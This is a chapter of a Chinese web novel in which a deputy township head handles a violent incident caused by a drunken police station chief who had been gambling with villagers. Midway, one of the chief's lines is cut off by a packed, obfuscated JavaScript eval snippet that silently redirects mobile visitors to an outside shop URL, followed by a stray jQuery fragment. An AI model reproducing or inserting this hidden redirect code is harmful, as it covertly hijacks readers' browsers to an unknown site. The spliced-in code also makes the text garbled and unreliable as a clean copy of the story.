晚上八点多,入秋的晚风刮过望川镇大院,道旁的梧桐叶子哗哗作响。叶舟办公室的灯还亮着,桌上摊着几张纸,一张是沙土地全域分布图,一张是农业局送来的适宜作物清单,旁边还有他随手写的合作社筹备草稿。
土地流转、合作社挂牌、试点铺开还是全域推进,一大堆细碎的工作等着捋清楚。会上敲定方案容易,落到实处全是磨人的小事,分寸得拿捏好,既不能拖沓,也不能冒进。他端起搪瓷缸抿了一口凉水,刚提笔想往下写,楼道里忽然传来一阵急促的脚步声,完全不是下班时慢悠悠的步子,噔噔噔踩得楼板发响,紧接着就是急促的拍门声,敲的是姜映月的办公室。
“镇长!镇长!”喊声带着明显的慌乱。
叶舟放下钢笔走出门,就看见田明哲站在姜映月房门口,手还抬在半空,额头上沁满冷汗,胸口不住起伏。姜映月早就下班回了家,房门锁得严实。
“老田,慌慌张张的,出什么事了?”
田明哲猛地回过头,脸色铁青,语气压不住的焦灼:“出事了,叶镇长。”
短短六个字,叶舟后背的汗毛全支棱起来了:“慢慢说,到底怎么了?”
田明哲咽了一口唾沫,说话都有些打结巴:“派出所的王成林,在所里聚众打牌,输了钱耍无赖,硬说几个村民出老千,把人扣在院子里不放,争执推搡的时候动手把人打伤了,现在有个汉子躺在地上一动不动。”
叶舟脑子里嗡的一声闷响。
堂堂派出所所长,私下聚众赌牌,输钱撒泼仗势欺人,把公家的办公场地当成自家后院,随意拿捏老百姓。望川好不容易攒起来的发展势头,要是闹出恶性事件,一桩烂事就能把全盘规划全毁掉。
“不能再等了,先去救人!”叶舟话音陡然提高。
田明哲这才回过神,急糊涂了,第一反应只想着找领导汇报,完全忘了人命等不起,根本没有时间一层层走流程。
“走,跟我过去。”叶舟一把拉住田明哲,快步往楼下跑。
门卫老高从值班室探出头张望。
“老高!”叶舟站在摩托车边上高声喊他,“你立刻去找贺书记跟姜镇长,就说派出所出了重大变故,让他们尽快赶过去,我跟老田先过去稳住场面。”
老高吓得鞋都没来得及穿整齐:“到底出啥大事了?”
“别多问,赶紧去!”
叶舟没时间细说。田明哲跨上摩托车一脚点火,排气管冒出一股黑烟。叶舟坐上后座,伸手扶住他的肩膀:“快点走。”
摩托车冲出镇政府大门,田明哲一边拧油门,一边扯着嗓子跟叶舟说明情况。
“这个王成林平日里就嗜赌成性,牌品极差,以前在辖区里就闹过不少小矛盾,大家都忍着没往上反映。今天打牌输红了眼,一口咬定那几个村民作弊,直接把人扣在所里不让离开,拉扯之间下手没轻没重,把人推倒撞在了石阶上。”
“再开快一点。”叶舟拍了拍田明哲的肩膀。
田明哲咬紧牙把油门拧到底,发动机的轰鸣在空旷的夜路上拖出长长的尾音。
七八分钟过后,摩托车停在了派出所门口。
还没进大院,嘈杂的人声就扑面而来,门口围了密密麻麻一大群村民,女人的哭声、男人的怒骂声混在一起,还有几个青壮年攥着农具,站在人群里怒气冲冲。
叶舟刚下车,就看见一个年轻小伙子红着眼眶往前猛冲,手里攥着半块砖头,浑身发抖。
“王成林你给我出来!我二哥被你打成这样,今天我跟你拼命!”
几名联防队员拦在大门口,王成林站在台阶上方,四十多岁的年纪,肚子腆着,衬衣领口敞开两颗扣子,满脸酒后的通红,指尖夹着一根烟,长长的烟灰悬在烟头上。出了这么大的群体性纠纷,他依旧一副有恃无恐的模样,不是胆子大,是平日里横行霸道惯了。
“所有人住手!”
叶舟快步上前喊了一声,压下了现场的喧哗。不少村民前些天见过他下村走访,一眼认了出来。
“是叶镇长来了!”
人群慢慢向两侧分开,让出一条过道。叶舟目光第一时间落在院子中间,一个男人直挺挺躺在水泥地上,额头渗出血迹,衣服沾满尘土,旁边一个妇女瘫坐在地上痛哭,嗓子已经哭哑了。
“都让开,留出通风的地方,我看看伤者。”
叶舟蹲下身,指尖探到伤者鼻下,静静等了几秒。心里不断默念,千万别出事,千万别出人命。指尖终于触到一丝微弱的气息,很淡,但还活着。
他立刻站起身高声喊话:“人还有呼吸,大家往后退一退,不要围堵,保持空气流通!”
那个叫刘郜的年轻人根本不信,眼泪混着满脸的怒火:“骗人!我二哥一点动静都没有,早就没气了!你们官官相护,串通好了糊弄老百姓!”
这句话一出,人群再度躁动起来,怨言四起,现场随时会彻底失控。
“刘郜,你过来。”叶舟指着地上的伤者,语气沉稳,“你亲自过来摸,摸完当着所有人的面说清楚,他到底还有没有气息。”
刘郜迟疑片刻,蹲下身,颤抖着手探向二哥的鼻息。片刻之后,他脸上的戾气消了大半,低声说了一句,还有气。躁动的人群,火气硬生生压下去一半。
叶舟不再理会围观群众,转头看向台阶上的王成林:“王成林,你下来。”
王成林脸上肌肉抽了抽,随手把烟头扔在地上碾灭。
“叶镇长,事情不是他们说的那样,这里面有误会。”
“我让你下来。”叶舟没有给他辩解的余地。
王成林磨磨蹭蹭走下台阶,凑近之后,浓重的酒气混杂着烟味扑面而来,叶舟胃里一阵反胃。穿着这身制服办事荒唐至此,简直是给整个公安队伍抹黑。
“急救电话打了多久了?”
王成林支支吾吾答不上来:“刚才已经安排人打了。”
旁边一个年轻联防队员低着头,声音细若蚊蚋:“还没拨通,外线线路一直占着……”
叶舟再也压不住火气,抬脚狠狠踹在了王成林身上。
“现在立刻去打急救电话!”
联防队员吓得转身往办公室狂奔。
“所里急救包在哪?纱布、碘酒、干净毛巾,全部拿出来。”
王成林下意识点头。
“还愣着干什么,快去拿!”叶舟朝着所里的工作人员厉声喝道。几个联防队员慌忙四散跑动,一个去打电话,一个去翻找医药用品。
叶舟侧过身,压低声音跟田明哲交代:“老田,你守在电话旁,确认120正常拨出去。再找两个可靠的村干部盯住派出所办公室,不要让任何人动屋里的东西。”
田明哲愣了一下:“救人要紧,还顾得上这些?”
“我怕他们事后销毁赌牌、赌资的证据。”
田明哲瞬间醒悟,立
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694244|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刻回头喊来两个相熟的村干部,吩咐他们守住办公室门口。
这话一字不落落进王成林耳朵里,他彻底清醒过来。
“叶镇长,你这么做不合适。派出所办案有我们内部的流程,轮不到镇政府插手。”
“今晚你们这不是办案,是草菅人命。”叶舟直视着他,语气冰冷。
围观村民听见这句话,瞬间炸开了锅,怒骂声此起彼伏。
王成林脸上挂不住,脸色难看:“叶舟,注意你的身份。我归县公安局直管,你一个副镇长,没有资格插手派出所的工作。”
气氛骤然紧绷,几名联防队员下意识往前挪了半步,平日里依附王成林,一旦他出事,这帮人也讨不到好处。刘郜攥紧拳头,村民人群不断往前挤压,两边眼看就要彻底冲突。
叶舟没有后退半步,一旦退让,今晚的场面绝对收不住。但硬碰硬只会激化矛盾,闹到最后受伤的只有老百姓,所有烂摊子还要镇政府兜底。
他转过身抬手示意村民安静:“各位乡亲听我说,伤者目前生命体征平稳,救护车马上就到。现在最要紧的是保住人,有什么委屈,等救治结束之后,镇政府一定给大家一个公道。”
几句话暂时稳住了群情。
他再回头看向王成林:“你归县公安局管辖,这话没错。但人躺在望川镇的派出所院里,老百姓围堵在这里,镇政府就有责任□□处置。你要是不服,可以等贺书记、姜镇长到场之后,再向上级申诉。”
王成林喉结滚动了两下。贺晓斌和姜映月这两个人,分量远不是一个普通副镇长能比的,尤其是姜映月行事铁面无私,真要闹上去,他的所长位置保不住。王成林手指搓着裤缝,不敢再继续硬顶。
没过多久,急救包拿了过来,里面东西少得可怜,几卷纱布、一小瓶碘酒、几包棉签,外加一把剪刀。叶舟眉头紧锁,派出所常年处理打架斗殴的纠纷,应急物资如此简陋,实在离谱。但有总比没有强。
他蹲下身,蘸着碘酒简单清理了额头的伤口,用纱布紧紧压住出血口,手法算不上专业,好歹先把外出血止住。
“叶镇长!”田明哲从里屋走出来,“120接通了,县医院救护车已经出发,大概二十分钟就能到。”
“好。”叶舟抬手指向办公室,“派人守好屋子,桌上的纸牌和现金,一点都不许动。”
田明哲一点就透:“我明白。”
王成林按捺不住火气:“叶舟,你不要做得太过分。”
“闭嘴。”叶舟转头冷冷看向他,“今天要是人出了三长两短,你这辈子都别想脱身。”
王成林哑口无言,脸上酒后的血色一点点褪去,只剩下一片灰白。
院子里安静了片刻,远处隐约传来救护车的鸣笛声,由远及近。叶舟站起身朝着声响望了一眼,又重新蹲回去按住纱布,渗血的速度已经慢了不少。
他一边按着伤口,心里一边暗自打定主意。等伤者脱离危险,一定要在班子会上把这件事完整上报。派出所所长聚众赌牌、仗势伤人,这不单单是作风问题,是实实在在侵害群众利益,给望川的整体工作抹大黑。
他没有当众表露想法,只是转头看向田明哲。田明哲站在院门边上,轻轻点头示意,证据已经封存,人也盯牢了。
救护车的鸣笛声越来越清晰。叶舟低下头,对着昏迷的汉子低声说了一句。
再撑一小会儿,救护车马上就到了。